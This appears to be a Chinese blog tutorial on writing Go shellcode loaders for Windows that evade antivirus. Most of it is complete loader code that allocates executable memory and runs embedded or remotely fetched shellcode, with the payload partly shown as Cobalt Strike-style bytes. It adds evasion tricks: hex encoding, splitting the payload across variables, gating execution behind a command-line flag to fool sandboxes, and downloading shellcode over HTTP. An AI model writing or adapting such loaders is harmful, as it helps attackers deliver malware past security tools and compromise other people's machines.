Go加载器
网上找的Go加载器,最简单的免杀就是将shellcode加密解密,或者远程加载shellcode。
package main
import (
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall . MustLoadDLL ( "kernel32.dll" )
ntdll = syscall . MustLoadDLL ( "ntdll.dll" )
VirtualAlloc = kernel32 . MustFindProc ( "VirtualAlloc" )
RtlCopyMemory = ntdll . MustFindProc ( "RtlCopyMemory" )
)
func main () {
xor_shellcode : = [] byte { 0xfc , 0x48 , 0x83 , ... }
addr , _ , err : = VirtualAlloc . Call ( 0 , uintptr ( len ( xor_shellcode )), MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE )
if err != nil && err . Error () != "The operation completed successfully." {
syscall . Exit ( 0 )
}
_ , _ , err = RtlCopyMemory . Call ( addr , ( uintptr )( unsafe . Pointer ( & xor_shellcode [ 0 ])), uintptr ( len ( xor_shellcode )))
if err != nil && err . Error () != "The operation completed successfully." {
syscall . Exit ( 0 )
}
syscall . Syscall ( addr , 0 , 0 , 0 , 0 )
}
shellcode加密解密
简单的加密解密,可以把byte[]类型的shellcode->16进制字符串,Go代码如下。
package main
import (
"bytes"
"encoding/hex"
"fmt"
)
func main () {
// 将 [] byte -> string ( 16进制 )
shellcode : = [] byte { 0xfc , 0x48 , 0x83 , ... }
s : = hex . EncodeToString ( shellcode )
fmt . Println ( s )
/// 将string ( 16进制 ) -> [] byte
decode , _ : = hex . DecodeString ( s )
shellcode2 : = decode
fmt . Println ( shellcode2 )
// 比较 [] byte类型的 shellcode shellcode2是否相等
fmt . Println ( bytes . Compare ( shellcode2 , shellcode ))
}
用如下python脚本,可以直接转化string(16进制)
import re
str = ""
with open ( "payload.c" , "r" ) as f :
while True :
line = f . readline ()
if not line :
break
line = line . strip ( '\n' )
str += line
list1 = re . compile ( r'"(.*)"' ) . findall ( str )
str2 = '' . join ( list1 ) . replace ( "\x" , "" )
print ( str2 )
然后替换到加载器上。
package main
import (
"encoding/hex"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall . MustLoadDLL ( "kernel32.dll" )
ntdll = syscall . MustLoadDLL ( "ntdll.dll" )
VirtualAlloc = kernel32 . MustFindProc ( "VirtualAlloc" )
RtlCopyMemory = ntdll . MustFindProc ( "RtlCopyMemory" )
code = "fc4883e4f0e8c..." // 16进制字符串代码
)
func main () {
decode , _ : = hex . DecodeString ( code )
xor_shellcode : = decode
addr , _ , err : = VirtualAlloc . Call ( 0 , uintptr ( len ( xor_shellcode )), MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE )
if err != nil && err . Error () != "The operation completed successfully." {
syscall . Exit ( 0 )
}
_ , _ , err = RtlCopyMemory . Call ( addr , ( uintptr )( unsafe . Pointer ( & xor_shellcode [ 0 ])), uintptr ( len ( xor_shellcode )))
if err != nil && err . Error () != "The operation completed successfully." {
syscall . Exit ( 0 )
}
syscall . Syscall ( addr , 0 , 0 , 0 , 0 )
}
这样子还是不行的,可以把shellcode变量拆分成几个变量再拼接,再加上参数执行,避免上传到杀软时直接执行,cs上线一堆...
package main
import (
"encoding/hex"
"syscall"
"unsafe"
"flag"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall . MustLoadDLL ( "kernel32.dll" )
ntdll = syscall . MustLoadDLL ( "ntdll.dll" )
VirtualAlloc = kernel32 . MustFindProc ( "VirtualAlloc" )
RtlCopyMemory = ntdll . MustFindProc ( "RtlCopyMemory" )
code = "fc4883e4f0e8c8000000415141505"
code2 = "251564831d265488b5260488b5218488b5220488b725"
)
func main () {
code3 : = "0480fb74a4a4d31c94831c0ac3c617c022c2..."
decode , _ : = hex . DecodeString ( code + code2 + code3 )
xor_shellcode : = decode
addr , _ , _ : = VirtualAlloc . Call ( 0 , uintptr ( len ( xor_shellcode )), MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE )
// demo . exe -c run
var c string
args : = flag . String ( "c" , "宝宝巴士" , "执行" )
flag . Parse ()
c = * args
if c == "run" {
_ , _ , _ = RtlCopyMemory . Call ( addr , ( uintptr )( unsafe . Pointer ( & xor_shellcode [ 0 ])), uintptr ( len ( xor_shellcode )))
syscall . Syscall ( addr , 0 , 0 , 0 , 0 )
}
}
我这里使用的go build编译大小近2m,vt杀毒。
远程加载shellcode
使用resty库,一个远程读取txt文本例子。
package main
import (
"fmt"
"github.com/go-resty/resty/v2"
)
func main () {
client : = resty . New ()
resp , _ : = client . R () . EnableTrace () . Get ( "http://127.0.0.1/1.txt" )
str : = resp . Body ()
body : = string ( str )
fmt . Println ( body )
}
使用go的net/http包,一个远程读取txt文本例子。
package main
import (
"fmt"
"io/ioutil"
"net/http"
)
func main () {
url : = "http://127.0.0.1/1.txt"
resp , err : = http . Get ( url )
if err != nil {
fmt . Println ( err )
}
defer resp . Body . Close ()
respData , err : = ioutil . ReadAll ( resp . Body )
if err != nil {
fmt . Println ( err )
}
respString : = string ( respData )
fmt . Println ( respString )
}
思路将16进制字符串的shellcode上传到服务器1.txt,加载器内使用net/http包远程加载shellcode。
package main
import (
"encoding/hex"
"flag"
"syscall"
"unsafe"
"io/ioutil"
"net/http"
)
var (
kernel32 = syscall . MustLoadDLL ( "kernel32.dll" )
ntdll = syscall . MustLoadDLL ( "ntdll.dll" )
VirtualAlloc = kernel32 . MustFindProc ( "VirtualAlloc" )
RtlCopyMemory = ntdll . MustFindProc ( "RtlCopyMemory" )
url = "http://127.0.0.1/1.txt"
)
func main () {
resp , _ : = http . Get ( url )
defer resp . Body . Close ()
respData , _ : = ioutil . ReadAll ( resp . Body )
respString : = string ( respData )
decode , _ : = hex . DecodeString ( respString )
shellcode2 : = decode
addr , _ , _ : = VirtualAlloc . Call ( 0 , uintptr ( len ( shellcode2 )), 0x1000 | 0x2000 , 0x40 )
_ , _ , _ = RtlCopyMemory . Call ( addr , ( uintptr )( unsafe . Pointer ( & shellcode2 [ 0 ])), uintptr ( len ( shellcode2 )))
// load . exe -c run
var c string
args : = flag . String ( "c" , "have" , "fun" )
flag . Parse ()
c = * args
if c == "run" {
syscall . Syscall ( addr , 0 , 0 , 0 , 0 )
}
}
总结
加密方便有待加强,使用Base64、凯撒密码等,伪动态加密shellcode,远程下载可以把文件分到几个文本上读取,也可也一半编码在加载器一半远程读取,最好的还是自己写加载器,不过需要二进制基础。
关注私我,获取【网络安全学习攻略】